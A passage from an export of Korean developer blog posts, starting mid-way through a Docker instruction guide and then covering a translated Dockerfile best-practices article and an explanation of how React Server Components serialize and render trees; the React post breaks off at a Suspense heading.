RUN tar -xJf /usr/src/things/big.tar.xz -C /usr/src/things
RUN make -C /usr/src/things all
```

이 대신,

```Dockerfile
RUN mkdir -p /usr/src/things \
    && curl -SL https://example.com/big.tar.xz \
    | tar -xJC /usr/src/things \
    && make -C /usr/src/things all
```

자동 tar 파일 압축 해제 기능 등이 필요하지 않은 다른 항목 (파일, 디렉토리) 에는 `COPY`를 쓰자.

## `ENTRYPOINT`

[https://docs.docker.com/engine/reference/builder/#entrypoint](https://docs.docker.com/engine/reference/builder/#entrypoint)

`ENTRYPOINT`를 쓰는 가장 좋은 방법은 이미지의 메인 커맨드를 설정해두어, 해당 명령어를 기본으로 사용할 수 있게 하는 것이다.

```Dockerfile
ENTRYPOINT ["s3cmd"]
CMD ["--help"]
```

이렇게 하면 아래와 같이 실행했을 때 도움말을 볼 수 있다.

```shell
docker run s3cmd
```

혹은 파라미터를 바로 두어서 바로 커맨드를 실행할 수도 있다.

```shell
docker run s3cmd ls s3://mybucket
```

`ENTRYPOINT` 명령은 helper 스크립트와 함께 사용할 수 있으므로, 특정 tool 을 시작할때 위의 명령어와 유사한 방식으로 동작할 수도 있다.

예를 들어, [Postgres 공식 이미지](https://hub.docker.com/_/postgres/)는 다음 스크립트를 `ENTRYPOINT`로 사용한다.

```Dockerfile
#!/bin/bash
set -e

if [ "$1" = 'postgres' ]; then
    chown -R postgres "$PGDATA"

    if [ -z "$(ls -A "$PGDATA")" ]; then
        gosu postgres initdb
    fi

    exec gosu postgres "$@"
fi

exec "$@"
```

helper 스크립트는 컨테이너에 복사되고, 컨테이너 시작시 `ENTRYPOINT`에 의해 실행된다.

```Dockerfile
COPY
Learn more about the "COPY" Dockerfile command.
 ./docker-entrypoint.sh /
ENTRYPOINT ["/docker-entrypoint.sh"]
CMD ["postgres"]
```

이 스크립트는 유저가 Postgres를 다양한 방식으로 상호작용할 수 있도록 해준다.

단순히 Postgres를 실행할수도 있고

```shell
 docker run postgres
```

서버에 파라미터를 전달하여 실행할 수도있고

```shell
 docker run postgres postgres --help
```

또한 Bash와 같은 완전히 다른 툴에서도 실행할 수 있다.

```shell
 docker run --rm -it postgres bash
```

## `VOLUME`

[https://docs.docker.com/engine/reference/builder/#volume](https://docs.docker.com/engine/reference/builder/#volume)

`VOLUME`은 도커 컨테이너에서 만든 데이터 저장소 영역, 설정 저장소, 또는 파일이나 폴더를 노출하는데 사용해야 한다. 이미지의 변경 가능한 부분 및 사용자가 수정가능한 부분에는 `VOLUME`을 사용하는 것이 좋다.

## `USER`

[https://docs.docker.com/engine/reference/builder/#user](https://docs.docker.com/engine/reference/builder/#user)

서비스를 실행하는데 별도로 권한이 필요 없다면, `USER` 를 사용하여 루트가 아닌 사용자로 변경해야 한다. `RUN groupadd -r postgres && useradd --no-log-init -r -g postgres postgres`와 같은 명령어로 유저나 그룹을 생성할 수 있다.

`sudo`는 문제를 일으킬 여지가 있으므로 사용하지 않는 것이 좋다. 그럼에도 `sudo`가 어쩔 수 없이 필요한 경우 [gosu](https://github.com/tianon/gosu)의 사용을 고려해보자.

마지막으로, 레이어와 복잡성을 줄이기 위해서는 너무 자주 `USER`를 사용하지 않는 것이 좋다.

## `WORKDIR`

[https://docs.docker.com/engine/reference/builder/#workdir](https://docs.docker.com/engine/reference/builder/#workdir)

명확성, 그리고 신뢰성을 위해 `WORKDIR`은 항상 절대 경로를 사용해야 한다. 읽기 어렵고, 유지보수도 어려운 `RUN cd … && do-something` 대신 `WORKDIR`을 사용하자.

## `ONBUILD`

[https://docs.docker.com/engine/reference/builder/#onbuild](https://docs.docker.com/engine/reference/builder/#onbuild)

`ONBUILD` 명령은 현재 `Dockerfile`의 빌드가 완료된 후 실행된다. `ONBUILD`는 현재 이미지에서 파생된 하위 이미지에서 실행된다. `ONBUILD` 명령은 상위 `Dockerfile`이 하위 `Dockerfile`에 제공하는 명령이라고 보면 된다.

도커는 하위 Dockerfile의 명령에 앞서 `ONBUILD`를 수행한다.

`ONBUILD`는 지정된 이미지에서 빌드할 이미지가 필요할 때 유용하다. 예를 들어, `Dockerfile`내에서 해당 언어로 소프트웨어를 필요로 하는 이미지가 있다면, `ONBUILD` 명령어가 유용하다.

`ONBUILD`로 빌드된 이미지에는 별도 태그가 있어야 한다. (`ruby:1.9-onbuild` `ruby:2.0-onbuild`)

`ONBUILD`에 `ADD` `COPY`를 넣을 때 주의하자. 새 빌드 컨텍스트에 이렇게 추가되는 리소스가 없을 경우 하위 "onbuild" 이미지가 실패할 것이다. 위에서 권장한대로 태그를 추가해서 구별하면, `Dockerfile` 작성자가 이를 선택할 수 있으므로 이러한 문제를 예방할 수 있다.

---

Source: https://yceffort.kr/2022/02/docker-best-practice-2022.md
Title: 더 나은 Dockerfile 작성을 위한 best practice - 2022년 버전
Description: 갑자기 docker를 파는 이유는
Date: 2022-02-05
Tags: docker, devops

https://docs.docker.com/develop/develop-images/dockerfile_best-practices/ 글을 번역하고 조금 이해가 안되는 부분은 개인적으로 내용을 추가 했습니다.

## Table of Contents

## Introduction

docker는 `Dockerfile`을 읽어서 자동으로 이미지를 빌드 한다. 이 텍스트 파일 내부에는 주어진 이미지에서 실행되야할 모든 명령어가 담겨 있다. `Dockerfile`을 작성하는 방법은 [여기](https://docs.docker.com/engine/reference/builder/)에 나와 있다.

도커 이미지는 Dockerfile의 명령어를 나타내는 읽기전용 레이어로 구성되어 있다. 이 레이어가 쌓이고, 각 레이어는 이전 레이어에서 변경된 내용을 담고 있다. 다음 파일을 살펴보자.

```Dockerfile
# syntax=docker/dockerfile:1
FROM ubuntu:18.04
COPY . /app
RUN make /app
CMD python /app/app.py
```

여기에서 각 명령어는 하나씩 레이어를 생성한다.

- `FROM`: `ubuntu:18.04` 도커 이미지로 부터 레이어를 생성한다.
- `COPY`: 도커 클라이언트의 현재 디렉토리에서 파일을 추가한다.
- `RUN`: `make` 명령어로 애플리케이션을 빌드
- `CMD`: 컨테이너 내부에서 실행해야할 커맨듣

이미지를 실행하고 컨테이너를 생성할 때, 기본적으로 주어저있는 레이어 위에 새로운 writable 레이어를 추가한다. 파일 추가, 수정, 삭제 등 실행중인 컨테이너에 대한 모든 변경사항이 이 writable 레이어 위에서 기록된다.

## 더 나은 Dockerfile을 위한 가이드라인과 제안

### 수명이 짧은 컨테이너 만들기

`Dockerfile`에 의해 정의된 이미지는 가능한 수명이 짧은 컨테이너를 생성해야 한다. 여기서 수명이 짧다 (ephemeral) 라는 것의 의미는, 컨테이너가 멈추고, 삭제되고 그리고 다시 빌드되고 재구축 되는 일련의 과정이 최소한의 구성과 설정으로 이루어져야 한다는 뜻이다.

### build context에 대한 이해

`docker build` 명령어를 실행했을 때, 현재 작업 디렉토리를 build context (이하 빌드 컨텍스트)라고 한다. 기본적으로 `Dockerfile`은 여기에 위치하는데, `-f` 플래그로 다른 곳에 위치한 파일도 지정할 수 있다. `Dockerfile`의 위치와 관계 없이, 현재 디렉토리에 있는 파일 및 디렉토리 내부의 재귀적으로 존재하는 모든 내용은 빌드 컨텍스트로 도커 데몬에 전송된다.

이미지를 만드는데 필요하지 않은 파일을 포함시키면 빌드 컨텍스트가 커지고, 이미지 크기도 커진다. 이미지 크기가 커지면 빌드에 걸리는 시간, push pull에 소요되는 시간, 컨테이너 런타임 크기 등 모든 것이 늘어난다. 이 빌드 컨텍스트의 크기를 보려면 `Dockerfile`을 작성할 때 다음과 같은 메시지를 확인해보자.

```shell
Sending build context to Docker daemon  187.8MB
```

### `stdin`을 활용한 `Dockerfile` pipe

도커는 원격 또는 리모트 빌드 컨텍스트를 `stdin` 명령어를 통해 이미지를 만들 수 있다. `Dockerfile`을 `stdin` 명령어로 파이핑 하는 것은 디스크에 `Dockerfile`을 쓰지 않고 일회성으로 일회성으로 빌드하거나, `Dockerfile`이 있지만 이후에 삭제될 수도 있는 상황에서 유용하다.

```shell
echo -e 'FROM busybox\nRUN echo "hello world"' | docker build -
```

또는

```shell
docker build -<<EOF
FROM busybox
RUN echo "hello world"
EOF
```

#### 빌드 컨텍스트를 전송하지 않고 `Dockerfile` `stdin`으로 이미지 빌드하기

추가된 파일을 빌드 컨텍스트로 보내지 않고, `Dockerfile` `stdin` 을 사용하여 이미지를 작성하려면 아래와 같이 하면 된다. `-`는 `PATH`의 위치를 가리키고, 도커가 디렉토리 대신 `stdin`에서 빌드 컨텍스트 (`Dockerfile`만 있는)를 읽도롤 명령을 내릴 수 있다.

```shell
docker build [OPTIONS] -
```

```shell
docker build -t myimage:latest -<<EOF
FROM busybox
RUN echo "hello world"
EOF
```

빌드 컨텍스트를 생략하면 `Dockerfile`이 이미지로 파일을 복사할 필요가 없고, 데몬으로 파일이 전송되지 않으므로 빌드 속도가 향샹 될 수 있다. (`stdin`으로 필요한 파일을 대신 넘겼으므로)

#### `stdin` `dockerfile`을 이용하여 로컬 빌드 컨텍스트에서 빌드하기

이 방법을 사용하면, 로컬 파일시스템의 파일을 사용하여, `stdin`의 `Dockerfile`파일을 통해 이미지를 빌드할 수 있다. `-f` `--file`로 특정 `Dockerfile`을 지정하고, `-`을 파일 이름으로 사용하여 `Docker`가 `stdin`에서 `Dockerfile`을 읽도록 지시한다.

```shell
docker build [OPTIONS] -f- PATH
```

```shell
# create a directory to work in
mkdir example
cd example

# create an example file
touch somefile.txt

# build an image using the current directory as context, and a Dockerfile passed through stdin
docker build -t myimage:latest -f- . <<EOF
FROM busybox
COPY somefile.txt ./
RUN cat /somefile.txt
EOF
```

#### `stdin` `dockerfile`을 이용하여 리모트 빌드 컨텍스트에서 빌드하기

이 방법을 사용하면 리모트 git 저장소의 파일을 사용하여, `stdin`의 `Dockerfile`파일을 통해 이미지를 빌드할 수 있다. `-f` `--file`로 특정 `Dockerfile`을 지정하고, `-`을 파일 이름으로 사용하여 `Docker`가 `stdin`에서 `Dockerfile`을 읽도록 지시한다.

```shell
docker build [OPTIONS] -f- PATH
```

```shell
docker build -t myimage:latest -f- https://github.com/docker-library/hello-world.git <<EOF
FROM busybox
COPY hello.c ./
EOF
```

### `.dockerignore`로 파일 제외하기

원본 소스 저장소를 건들지 않고 빌드와 관련 없는 파일을 제거하기 위해서는 `.dockerignore` 파일을 사용하면 된다. 이 파일은 `.gitignore` 파일과 유사한 패턴을 지원한다.

> https://docs.docker.com/engine/reference/builder/#dockerignore-file

### 멀티 스테이지 빌드 사용하기

https://docs.docker.com/develop/develop-images/multistage-build/

멀티 스테이지 빌드를 사용하면, 중간 레이어와 파일 수를 줄이는데 힘쓰지 않아도 최종 이미지 크기를 줄일 수 있다.

빌드 프로세스의 마지막 단계에서 실제로 사용되는 이미지가 작성되므로, 빌드 캐시를 활용하여 이미지 레이어를 최소화 할 수 있다.

예를 들어, 빌드에 여러 개의 레이어가 포함되어 있는 경우, 변경이 별로 없는 레이어 (빌드 캐시를 적극 활용할 수 있는 레이어)에서 자주 변경이 일어나는 레이어로 순서를 지정할 수 있다.

- 애플리케이션 빌드를 위해 필요한 툴 설치
- 라이브러리 의존성 설치 또는 업데이트
- 애플리케이션 생성

아래 Go 애플리케이션 예제를 살펴보자.

```Dockerfile
# syntax=docker/dockerfile:1
FROM golang:1.16-alpine AS build

# `docker build --no-cache .` 실행시 의존성 업데이트
RUN apk add --no-cache git
RUN go get github.com/golang/dep/cmd/dep

# Gopkg.toml Gopkg.lock 에 있는 프로젝트 의존성 나열
# 이러한 레이어는 GoPkg파일이 업데이트 되었을 때만 재 빌드 된다.
COPY Gopkg.lock Gopkg.toml /go/src/project/
WORKDIR /go/src/project/
# 라이브러리 의존성 설치
RUN dep ensure -vendor-only

# 전체 프로젝트를 복사하고 빌드
# 이 레이어는 프로젝트 디렉토리에 파일 변경이 있을 때만 다시 빌드됨
COPY . /go/src/project/
RUN go build -o /bin/project

# 이 결과물이 싱글 레이어 이미지에 들어감
FROM scratch
COPY --from=build /bin/project /bin/project
ENTRYPOINT ["/bin/project"]
CMD ["--help"]
```

### 불필요한 패키지를 설치하지 않기

복잡성, 의존성, 파일크기, 빌드시간을 줄이려면 '있으면 좋다' 라는 이유만으로 불필요한 파일이나 패키지를 추가하는 것은 좋지 않다. 예를 들어 데이터 베이스 이미지에 텍스트 에디터는 필요 없다.

### 애플리케이션 디커플링

각 컨테이너에는 하나의 관심사만 존재해야 한다. 애플리케이션을 여러 컨테이너로 분리하면 수평 확장이 용이해지고, 컨테이너를 재사용하기 쉬워진다. 예를 들어, 웹 애플리케이션은 웹, 데이터 베이스, 인메모리 캐시 등으로 분리하여 관리할 수 있다.

각 컨테이너를 하나의 프로세스로 제한하는 것은 좋은 규칙이지만, 쉽게 적용할 수는 없다. 예를 들어 [컨테이너 들만 프로세스를 생성할 수 있는 것은 아니고](https://docs.docker.com/engine/reference/run/#specify-an-init-process), 일부 프로그램 또한 프로세스를 자체적으로 생성할 수 도 있다.

컨테이너를 가능한 클린하고 모듈식으로 유지하기 위해 최선의 판단을 내리자. 컨테이너가 서로 종속적이라면, [Docker Container Network](https://docs.docker.com/network/)를 통해 컨테이너 끼리 통신하도록 할 수 있다.

### 레이어 수를 최소화 하기

옛날 버전의 도커에서는, 이미지에서 레이어 수를 최소화 하여 레이어 성능을 보장하는 것이 중요했다. 이러한 제한을 줄이기 위해 다음과 같은 기능이 추가되었다.

- `RUN` `COPY` `ADD` 만 레이어를 생성한다. 다른 명령어는 임시로 중간 이미지를 생성하며, 빌드 사이즈에 영향을 미치지 않는다.
- 가능하다면, 멀티 스테이지 빌드를 사용하고 필요한 아티팩트만 마지막 이미지에 복사하는 것이 좋다. 이렇게 하면 최종 이미지의 크기를 늘리지 않고도 중간 빌드 단계에 각종 도구와 디버그 정보를 포함 시킬 수 있다.

### 여러줄 인수를 정렬

가능하다면, 여러 줄 인수를 알파벳순서로 정렬하는 것이 좋다. 이렇게 하면 패키지 중복을 방지하고 목록을 쉽게 업데이트 할 수 있다. 또한 PR 검토 또한 용이해진다. `\` 앞에 공백을 추가하는 것도 도움이 된다.

```Dockerfile
RUN apt-get update && apt-get install -y \
  bzr \
  cvs \
  git \
  mercurial \
  subversion \
  && rm -rf /var/lib/apt/lists/*
```

### 빌드 캐시 활용

이미지를 빌드할때, 도커는 `Dockerfile` 내부에 지정되어 있는 순서대로 실행한다. 각 명령을 검토할 때 도커는 새로운 (중복) 이미지를 만들지 않고 캐시에서 재사용할 수 있는 이미지를 찾는다.

캐시를 전혀 사용하지 않으려면 `--no-cache=true`를 사용할 수 있다. 그러나 도커가 캐시를 활용할 수 있도록 하기 위해서는, 일치하는 이미지를 찾을 수 있는 경우와 없는 경우에 대해 이해하는 것이 중요하다. 도커가 따르는 기본적인 규칙은 아래와 같다.

- 이미 캐시에 있는 부모 이미지를 시작으로, 다음 명령어를 해당 기본 이미지에서 파생된 모든 하위 이미지와 비교하여 동일한 명령어를 사용하여 빌드되었는지 확인한다. 그렇지 않으면 캐시가 무효화 된다.
- 대부분의 경우 `Dockerfile`의 명령어를 하위 이미지 들과 비교하는 것으로 충분하다. 하지만, 어떤 명령어는 더 많은 검토가 필요하다.
- `ADD` `COPY`의 경우 이미지 파일 내용을 검사하고 각 파일에 대한 체크섬을 추가로 계산한다. 여기에서 파일의 마지막 수정 시간이나 엑세스 시간은 고려하지 않는다. 캐시 조회 중에 체크섬을 기존 이미지의 체크섬과 비교한다. 파일에서 내용이나 메타데이터의 변경이 있으면 캐시가 무효화 된다.
- `ADD` `COPY` 명령어 외에도 캐시 일치 여부를 확인하기 위해 컨테이너의 파일을 확인하지 않는다. 일례로 `RUN apt-get -y update`를 처리할때 컨테이너에서 업데이트된 파일을 검사하여 캐시와 치하는 경우가 존재하는지 확인하지 않는다. 이 경우는, 명령 문자열 자체만 일치하는지만 검토한다.

일단 캐시가 무효화되면 이후의 모든 Dockerfile 명령은 새로운 이미지를 생성하며, 캐시는 사용되지 않는다.

---

Source: https://yceffort.kr/2022/01/how-react-server-components-work.md
Title: 리액트 서버 컴포넌트의 동작 방식
Description: 리액트 18 존버 하는 중
Date: 2022-01-29
Tags: react, frontend

## Table of Contents

## 리액트 서버 컴포넌트는 무엇인가

React Server Component(이하 RSC)를 사용하면, 서버와 클라이언트 (브라우저)가 리액트 애플리케이션을 서로 협력하여 렌더링 할 수 있다. 이야기 하기에 앞서, 페이지를 렌더링하는 일반적인 리액트 컴포넌트 트리를 생각해보자. 이 트리에는 리액트 컴포넌트가 있고, 이 컴포넌트는 또다른 리액트 컴포넌트를 렌더링한다. RSC를 사용하면 이 트리의 일부 컴포넌트는 서버에서 렌더링하거나, 일부 컴포넌트는 브라우저에서 렌더링 하는 등 처리를 할 수 있다.

![RSC-tree](https://blog.plasmic.app/static/images/react-server-components.png)

### 서버사이드 렌더링이 아니다?

RSC는 정확히 말해서 서버사이드 렌더링이 아니다. 물론 둘다 명칭에서 '서버'가 포함되어 있어서 혼란의 여지가 있다. RSC를 사용하면 SSR을 사용할 필요가 없고, 반대의 경우도 마찬가지다. SSR은 응답 받은 트리를 raw html로 렌더링하기 위한 환경을 시뮬레이션 한다. 즉, 서버와 클라이언트 컴포넌트를 별도로 구별하지 않고 동일한 방식으로 렌더링한다.

물론 SSR와 RSC를 함께 사용하여 서버 컴포넌트를 서버 컴포넌트를 서버쪽에서 렌더링을 하고, 브라우저에서는 적절하게 하이드레이션을 거치게 할 수 있다.

그러나 일단은, SSR을 무시하고 RSC에만 집중하자.

### 왜 필요할까?

RSC 이전에는, 모든 리액트 컴포넌트는 '클라이언트' 컴포넌트 이며, 모두 브라우저에서 실행된다. 브라우저가 리액트 페이지를 방문하면, 필요한 모든 리액트 컴포넌트 코드를 다운로드 하고, 리액트 컴포넌트 트리를 만든 후 DOM에 렌더링한다. (SSR을 사용하면, DOM에 하이드레이션만 진행한다.) 브라우저는 이벤트 핸들러를 부착하고, 상태를 추적하고, 이벤트에 따른 응답 트리 변경 및 DOM의 효율적인 업데이트 등 리액트 애플리케이션이 인터랙션 할 수 있도록 처리할 수 있는 좋은 곳이다. 그런데, 우리가 왜 서버에서 무언가를 렌더링 하려고 하는 걸까?

브라우저에 대신, 서버에서 렌더링을 한다면 다음과 같은 장점을 얻을 수 있다.

- 서버는 데이터 베이스, GraphQL, 파일시스템 등 데이터 원본에 직접 접근 할 수 있다. 서버는 공용 api 엔드 포인트를 거치지 않고 데이터를 직접 가져올 수 있고, 일반적으로 데이터 소스와 더 가깝게 배치되어 있으므로 브라우저보다 더 빠르게 데이터를 가져올 수 있다.
- 브라우저는 자바스크립트 번들링된 모든 코드를 다운로드 해야하는 것 과 달리, 서버는 모든 의존성을 다운로드 할 필요가 없기 때문에 (미리 다운로드 해놓고 수시로 재사용이 가능하므로) 무거운 코드 모듈을 저렴하게 사용할 수 있다.

**즉, RSC를 활영하면 서버와 브라우저가 각자 잘 수행하는 작업을 처리할 수 있다.** 서버 컴포넌트는 데이터를 가져오고 콘텐츠를 렌더링하는데 초점을 맞출 수 있으며 페이지 로딩 속도가 빨라지고 자바스크립트 번들 크기가 작아져서 사용자의 환경이 향상될 수 있다.

## 개괄

이제 어떻게 작동하는지 살펴보자.

RSC는 작업 분담, 즉 서버가 할 수 있는 일을 먼저 처리하게 두고 나머지는 브라우저에게 넘겨준다.

일부 컴포넌트는 서버에서 렌더링되고, 일부 컴포넌트는 클라이언트에서 렌더링 되는 상황을 고려해보자. 서버는 일반적인 리액트 컴포넌트를 html의 `<p>` `<div>` 태그로 렌더링한다. 그러나 브라우저에서 렌더링해야하는 클라이언트 컴포넌트가 나타나면, 클라이언트에서 여기를 렌더링하라는 의미에서 `placeholder` 같은 것을 둔다. 브라우저가 이 결과물을 받으면, 앞서 빈 곳으로 나왔던 부분을 채워 넣는다.

물론, 실제로 이렇게 동작하지는 않지만, 대략적인 그림으로 살펴보았다.

## 클라이언트와 서버 컴포넌트로 나누기

먼저, 컴포넌트를 어떻게 서버 컴포넌트인지, 클라이언트 컴포넌트인지 나눌 수 있을까?

리액트 팀에서는 이를 확장자로 구별하는 방식을 택했다. `.server.jsx` 면 서버 컴포넌트이고, `client.jsx`면 클라이언트 컴포넌트다. 만약 둘다 아니라면, 이 컴포넌트는 서버나 클라이언트 컴포넌트 양쪽 모두에서 가능한 것이다.

이러한 정의는 굉장히 실용적인 방식으로 보인다. 개발자와 번들러 입장에서 모두 구별하기 쉽다. 특히 번들러의 경우, 파일 이름을 검사하여 클라이언트 컴포넌트를 별도로 처리할 수 있다. 곧 알게 되겠지만, 번들러는 RSC를 작동하는데 중요한 역할을 한다.

서버 컴포넌트는 서버에서, 클라이언트 컴포넌트는 클라이언트에서 실행되므로 각 컴포넌트에서 수행할 수 있는 작업에는 제한이 있다. 여기에서 특히 기억해야 할 것은, 클라이언트 컴포넌트가 서버 컴포넌트를 `import` 할 수 없다는 점이다. 이는 서버 컴포넌트를 브라우저에서 실행할 수 없기 때문이다.

```jsx
// ClientComponent.client.jsx
// 안됨.
import ServerComponent from './ServerComponent.server'
export default function ClientComponent() {
  return (
    <div>
      <ServerComponent />
    </div>
  )
}
```

클라이언트 컴포넌트가 서버 컴포넌트를 import 할 수 없고, 그래서 서버 컴포넌트를 초기화 할 수 없다면 리액트 컴포넌트 트리를 어떻게 만들 수 있을까? 아래와 같은 그림의 구조는 가능한 것일까?

![rsc](https://blog.plasmic.app/static/images/react-server-components.png)

클라이언트 컴포넌트에서 서버 컴포넌트를 import 해서 렌더링 할 순 없지만, 그래도 여전히 합성은 가능하다. 즉, 클라이언트 컴포넌트는 opaque `ReactNode`를 props로 받을 수 있고, 그리고 이 `ReactNode`는 여전히 서버컴포넌트에 의해 렌더링 가능하다.

```jsx
// ClientComponent.client.jsx
export default function ClientComponent({ children }) {
  return (
    <div>
      <h1>Hello from client land</h1>
      {children}
    </div>
  )
}

// ServerComponent.server.jsx
export default function ServerComponent() {
  return <span>Hello from server land</span>
}

// OuterServerComponent.server.jsx
// OuterServerComponent 는 클라와 서버 모두에서 초기화 가능하다
// 따라서 서버 컴포넌트를 클라이언트 컴포넌트의 children으로 보낼 수 있다.
import ClientComponent from './ClientComponent.client'
import ServerComponent from './ServerComponent.server'
export default function OuterServerComponent() {
  return (
    <ClientComponent>
      <ServerComponent />
    </ClientComponent>
  )
}
```

이러한 제한은 RSC를 효과적으로 활용하기 위해 컴포넌트를 구성하는 방법에 큰 영향을 미친다.

## RSC 렌더링의 라이프 사이클

RSC 서버 컴포넌트를 렌더링하기 위해서 실제로 어떤 일이 일어나는지 알아 보기 위해 핵심적인 세부 서항을 살펴보자. 서버 컴포넌트를 사용하기 위해 모든 것을 이해할 필요는 없지만, 작동방식에 대해 직관적으로 이해할 필요가 있다.

### 1. 서버가 렌더링 요청을 받는다.

서버가 렌더링 과정의일부를 수행해야 하므로, 페이지의 라이프 사이클은 항상 서버에서 시작된다. 이 중 'root' 컴포넌트는 항상 서버 컴포넌트고, 다른 서버 또는 클라이언트를 렌더링할 수 있다. 서버는 요청에 전달된 정보에 따라 서버 컴포넌트와 어떤 props를 사용할지 결정한다. 이러한 요청은 일반적으로 특정 URL에서 페이지를 요청하는 형태로 나온다.

- https://shopify.dev/custom-storefronts/hydrogen/framework/server-state
- https://github.com/reactjs/server-components-demo/blob/main/server/api.server.js

### 2. 서버가 루트 컴포넌트 엘리먼트를 JSON으로 직렬화

여기에서 최종 목표는 최초 root 서버 컴포넌트를 기본 html 태그와 클라이언트 컴포넌트 placeholder 트리로 렌더링하는 것이다. 그리고 이 트리를 직렬화하여 (json으로) 브라우저로 보내면, 브라우저가 이를 다시 역 직렬화 하여 클라이언트 placeholder에 실제 클라이언트 컴포넌트를 채우고 최종 결과를 렌더링하는 작업을 수행할 수 있다.

그럼 위 예제에서, `OuterServerComponent`를 렌더링하고 싶다면, 단순히 `JSON.stringify(<OuterServerComponent />)`를 한다면 직렬화된 렌더링 트리를 얻을 수 있을까?

거의 그렇다고 볼 수 있지만, 그것만으로 충분하지는 않다. 리액트 엘리먼트의 구조를 다시한번 생각해보자.

```jsx
// React element for <div>oh my</div>
> React.createElement("div", { title: "oh my" })
// 객체 형태로 표현
{
  $$typeof: Symbol(react.element),
  type: "div",
  props: { title: "oh my" },
  ...
}

// React element for <MyComponent>oh my</MyComponent>
> function MyComponent({children}) {
    return <div>{children}</div>;
  }
> React.createElement(MyComponent, { children: "oh my" });
// 객체 형태로 표현
{
  $$typeof: Symbol(react.element),
  type: MyComponent  // reference to the MyComponent function
  props: { children: "oh my" },
  ...
}
```

기본 html 태그 엘리먼트가 아닌 컴포넌트 엘리먼트의 경우, 컴포넌트를 참조하려고 하기 때문에 직렬화 할 수 없다.

따라서 모든 것을 적절히 JSON-stringify를 하기 위해서는, 리액트는 [replacer function](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/stringify#the_replacer_parameter) 을 `JSON.stringify()`에 넘겨 준다. 관련 코드는 [여기](https://github.com/facebook/react/blob/42c30e8b122841d7fe72e28e36848a6de1363b0c/packages/react-server/src/ReactFlightServer.js#L368)에서 찾을 수 있다.

- 기본 HTML 태그의 경우에는 JSON으로 처리가 가능하므로 특별히 처리할 것이 없다.
- 만약 서버 컴포넌트라면, 서버 컴포넌트 함수를 props와 함께 호출하고, 그 결과를 JSON으로 만들어서 내려보낸다. 이렇게 하면 서버 컴포넌트가 효과적으로 렌더링된다. 여기서 목적은 모든 서버 컴포넌트를 html 태그로 바꾸는 것이다.
- 만약 클라이언트 컴포넌트라면, 사실 JSON으로 직렬화가 가능하다. 이미 필드가 컴포넌트 함수가 아닌 모듈 참조 객체 (module reference object)를 가리키고 있다.

### `module reference` 객체란?

RSC는 `module reference` 라고 불리우는, 리액트 엘리먼트의 `type` 필드에 새로운 값을 넣을 수 있도록 제공한다. 이 값으로 컴포넌트 함수대신, 이 `참조`를 직렬화 한다.

예를 들어, `ClientComponent`는 아래와 같은 형태를 띈다.

```javascript
{
  $$typeof: Symbol(react.element),
  // 실제 컴포넌트 함수 대신에, 참조 객체를 갖게됨
  type: {
    $$typeof: Symbol(react.module.reference),
    // ClientComponent is the default export...
    name: "default",
    // from this file!
    filename: "./src/ClientComponent.client.js"
  },
  props: { children: "oh my" },
}
```

그렇다면 클라이언크 컴포넌트 함수에 대한 참조를 직렬화 할 수 있는 `module reference` 객체로 변환하는 것은 어디에서 이루어지는 것일까?

이러한 작업은 번들러에서 이루어진다. 리액트 팀은 RSC를 웹팩에서 사용할 수 있는 `react-server-dom-webpack`을 [webpack loader](https://github.com/facebook/react/blob/main/packages/react-server-dom-webpack/src/ReactFlightWebpackNodeLoader.js)나 [node-register](https://github.com/facebook/react/blob/main/packages/react-server-dom-webpack/src/ReactFlightWebpackNodeRegister.js) 에서 제공하고 있다.서버 컴포넌트가 `*.client.jsx` 파일에서 가져올 때, 실제로 import 하는 것이 아닌 파일 이름과 그 것을 참조하는 모듈 참조 객체만을 가져온다. 즉, 클라이언트 컴포넌트 함수는 서버에서 구성되는 리액트 트리의 구성요소가 아니었다.

위 예제를 `JSON` 트리로 직렬화 한다면 아래와 같을 것이다.

```javascript
{
  // ClientComponent 엘리먼트를 `module reference` 와 함께 placeholder로 배치
  $$typeof: Symbol(react.element),
  type: {
    $$typeof: Symbol(react.module.reference),
    name: "default",
    filename: "./src/ClientComponent.client.js"
  },
  props: {
    // 자식으로 ServerComponent가 넘어간다.
    children: {
      // ServerComponent는 바로 html tag로 렌더링됨
      $$typeof: Symbol(react.element),
      type: "span",
      props: {
        children: "Hello from server land"
      }
    }
  }
}
```

### 직렬화된 리액트 트리

![RSC placeholder](https://blog.plasmic.app/static/images/react-server-components-placeholders.png)

#### 모든 props는 직렬화되야 한다.

전체 리액트 트리를 JSON 직렬화하고 있기 때문에, 클라이언트 컴포넌트가 기본 html 태그에 전달하는 props도 직렬화 할 수 있어야 한다. 그러나 (당연하게도) 서버 컴포넌트에서는 이벤트 핸들러를 props 전달할 수 없다.

```jsx
// 서버 컴포넌트는 함수를 prop으로 넘겨줄 수 없다.
// 함수는 직렬화 할 수 없기 때문이다.
function SomeServerComponent() {
  return <button onClick={() => alert('OHHAI')}>Click me!</button>
}
```

그러나 여기서 유의할 점은, RSC 프로세스 중에 클라이언트 컴포넌트를 마주하게 된다면, 클라이언트 컴포넌트 함수를호출하거나 클라이언트 컴포넌트를 내림차순으로 정렬하지 않는다는 것이다. 그러므로, 다른 클라이언트 컴포넌트를 인스턴스화 하는 클라이언트 컴포넌트가 있는 경우,

```jsx
function SomeServerComponent() {
  return <ClientComponent1>Hello world!</ClientComponent1>;
}

function ClientComponent1({children}) {
  // 클라이언트에서는 가능
  return <ClientComponent2 onChange={...}>{children}</ClientComponent2>;
}
```

`ClientComponent2` 는 RSC 트리에서 나타나지 않는다. 대신, module reference 가 있는 엘리먼트와 `ClientComponent1`의 props만 볼 수 있다. 그러므로, `ClientComponent1`에 이벤트 핸들러가 있는 `ClientComponent2`를 자식으로 보내는 것은 안전하다.

### 3. 브라우저가 리액트 트리를 재구조화

브라우저는 서버로 부터 JSON 결과물을 받고, 이제 브라우저에서 렌더링될 리액트 트리를 재구성하기 시작한다. type이 `module reference`인 엘리먼트를 만날 때마다, 실제 클라이언트 컴포넌트 함수에 대한 참조로 대체를 시도할 것이다.

이 작업은 다시 번들러의 도움이 필요하다. 클라이언트 컴포넌트 함수의 기능을 서버 module reference로 대체해 주었던 것도 번들러였고, 이 module reference를 브라우저가 실제 클라이언트 컴포넌 함수로 대체하는 것을 아는 것도 번들러다.

이를 그림으로 구성하면 다음과 같다.

![RSC-client](https://blog.plasmic.app/static/images/react-server-components-client.png)

이제 이 트리를 렌더링하고, DOM에 커밋한다.

## Suspense에서도 같은 원리 일까?

